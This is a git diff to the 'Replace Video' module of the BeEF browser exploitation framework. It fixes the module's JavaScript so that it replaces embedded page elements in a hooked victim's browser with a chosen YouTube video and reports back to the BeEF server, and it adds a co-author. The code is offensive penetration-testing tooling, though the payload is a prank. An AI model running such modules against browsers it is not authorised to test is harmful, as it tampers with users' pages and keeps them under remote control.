diff --git a/modules/misc/replace_video/command.js b/modules/misc/replace_video/command.js index 30af0088c..6b1060b0d 100644 --- a/modules/misc/replace_video/command.js +++ b/modules/misc/replace_video/command.js @@ -1,8 +1,9 @@ beef.execute(function() { - $j('<%= @jquery_selector %>').each( - var width = $j(this).css('width'); - var height = $j(this).css('height'); - $j(this).replaceWith(''); - ); + $j('<%= @jquery_selector %>').each(function(){ + console.log(this); + var width = $j(this).css('width'); + var height = $j(this).css('height'); + $j(this).replaceWith(''); + }); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Replace Video Succesfull"); }); diff --git a/modules/misc/replace_video/config.yaml b/modules/misc/replace_video/config.yaml index 218bfafad..5dcab2d0c 100644 --- a/modules/misc/replace_video/config.yaml +++ b/modules/misc/replace_video/config.yaml @@ -5,6 +5,6 @@ beef: category: "Misc" name: "Replace Video" description: "Replaces an object selected with jQuery (all embed tags by default) with an embed tag containing the youtube video of your choice (rickroll by default)." - authors: ["Yori Kvitchko"] + authors: ["Yori Kvitchko", "antisnatchor"] target: user_notify: ['ALL'] diff --git a/modules/misc/replace_video/module.rb b/modules/misc/replace_video/module.rb index 0635fe178..89e5500b6 100644 --- a/modules/misc/replace_video/module.rb +++ b/modules/misc/replace_video/module.rb @@ -8,7 +8,7 @@ class Replace_video < BeEF::Core::Command 'Name' => 'Replace Video', 'Description' => 'Replaces an object selected with jQuery (all embed tags by default) with an embed tag containing the youtube video of your choice (rickroll by default).', 'Category' => 'Misc', - 'Author' => 'Yori Kvitchko', + 'Author' => ['Yori Kvitchko','antisnatchor'], 'Data' => [ {'name' => 'youtube_id', 'ui_label' => 'YouTube Video ID', 'value' => 'XZ5TajZYW6Y', 'width'=>'150px'},